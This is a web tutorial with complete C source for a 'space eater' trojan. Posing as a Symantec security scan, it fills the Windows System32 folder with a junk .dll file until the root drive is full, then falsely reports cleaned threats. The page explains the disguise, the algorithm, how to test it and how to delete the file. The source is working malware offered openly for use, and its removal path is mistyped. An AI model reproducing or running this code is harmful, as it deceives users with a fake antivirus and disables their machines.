Virus to eat your disk space

The space eater virus when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run. This virus works pretty quickly and is capable of consuming up upto 1 GB of hard disk space for every minute that it runs. 

Now let’s move to the working of our Virus

The virus disguises itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the disk gets filled up to 100% within minutes of running this Virus. Once the disk space is full, the Virus reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Virus intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extension it is often ignored by disk cleanup software. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.

The algorithm of the Virus is as follows

1.      Search for the root drive

2.      Navigate to WindowsSystem32 on the root drive

3.      Create the file named “spceshot.dll”

4.      Start dumping the junk data onto the above file and keep increasing its size until the drive is full

5.      Once the drive is full, stop the process.

Testing:

To test the Virus, just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Virus runs and eats up hard disk space.

How to remove the Damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box.

%systrmroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

#include stdio.h
#include conio.h
#include dos.h
#include stdlib.h
FILE *a,*t,*b;
int r,status,vir_count;
double i;
char ch[]="CREATING A HUGE FILE FOR OCCUPYING HARDDISK SPACE",choice;

void eatspace(void);
void findroot(void);
void showstatus(void);
void draw(void);
void accept(void);

void main()
{
draw();
accept();
textcolor(WHITE);
draw();
gotoxy(12,8);
cputs("ANALYZING YOUR SYSTEM. PLEASE WAIT...");
sleep(3);
gotoxy(12,8);
delline();
cputs("PRESS ANY KEY TO START THE SYSTEM SCAN...");
getch();
gotoxy(12,8);
delline();
findroot();
}

void accept()
{
textcolor(LIGHTRED);
gotoxy(1,8);
cputs("THIS PROGRAM IS A DEMO OF SIMPLE VIRUS HORSE. IF YOU RUN THIS PROGRAM IT WILL\n\rEAT UP YOUR FULL HARD DISK SPACE ON ROOT DRIVE. HOWEVER IT IS POSSIBLE TO\n\rELIMINATE THE DAMAGE.\n\n\rTO CLEANUP THE DAMAGE YOU\'VE TO DELETE THE FILE \"spceshot.dll\" LOCATED IN\n\n\r \"%windir%\\System32\".\n\n\rIF YOU WISH TO RUN THE PROGRAM PRESS ENTER, OTHERWISE PRESS ANY KEY TO QUIT.");

if((choice=getch())!=13)
exit(0);
}

void draw()
{
clrscr();
textcolor(WHITE);
gotoxy(12,2);
cputs("********************************************************");
gotoxy(12,6);
cputs("********************************************************");
gotoxy(12,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(67,3);
cputs("*\n\b*\n\b*\n\b");
gotoxy(14,4);
cputs("SYMANTEC SECURITY SCAN - 2009 (QUICK SYSTEM SCANNER)");
}

void findroot()
{
t=fopen("C:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
textcolor(WHITE);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("D:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("D:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("E:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("E:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
t=fopen("F:\\windows\\explorer.exe","rb");
if(t!=NULL)
{
fclose(t);
a=fopen("F:\\windows\\system32\\spceshot.dll","rb");
if(a!=NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN WAS INTERRUPTED. TRY AGAIN LATER!");
getch();
exit(1);
}
b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");
if(b!=NULL)
{
showstatus();
eatspace();
}
}
if(t==NULL)
{
textcolor(LIGHTRED);
gotoxy(12,8);
cputs("SYSTEM SCAN FAILED! PRESS ANY KEY TO CLOSE THIS PROGRAM.");
getch();
exit(1);
}
exit(1);
}

void eatspace()
{
textcolor(LIGHTRED);
gotoxy(12,16);
cputs("WARNING: DO NOT ABORT THE SCAN PROCESS UNTIL IT IS COMPLETED!\n");
textcolor(WHITE);
gotoxy(12,18);
while(1)
{
for(r=1;r<4;r++)
{
for(i=1;i<900000;i++)
{
status=fputs(ch,b);
if(status==EOF)
{
textcolor(WHITE);
vir_count=random(120);
draw();
gotoxy(12,8);
cprintf("SCAN COMPLETE!. DETECTED AND CLEANED OVER %d THREATS!",vir_count);
gotoxy(12,10);
cprintf("PRESS ANY KEY TO CLOSE...");
getch();
break;
}
}
cputs(".");
if(status==EOF) break;
}
if(status==EOF) break;
}
exit(0);
}

void showstatus()
{
gotoxy(12,8);
cputs("SCANNING THE SYSTEM FOR THREATS");
gotoxy(12,10);
cputs("THIS MAY TAKE UP A FEW MINUTES TO FEW HOURS");
gotoxy(12,13);
cputs("SCAN IN PROGRESS. PLEASE WAIT...");
}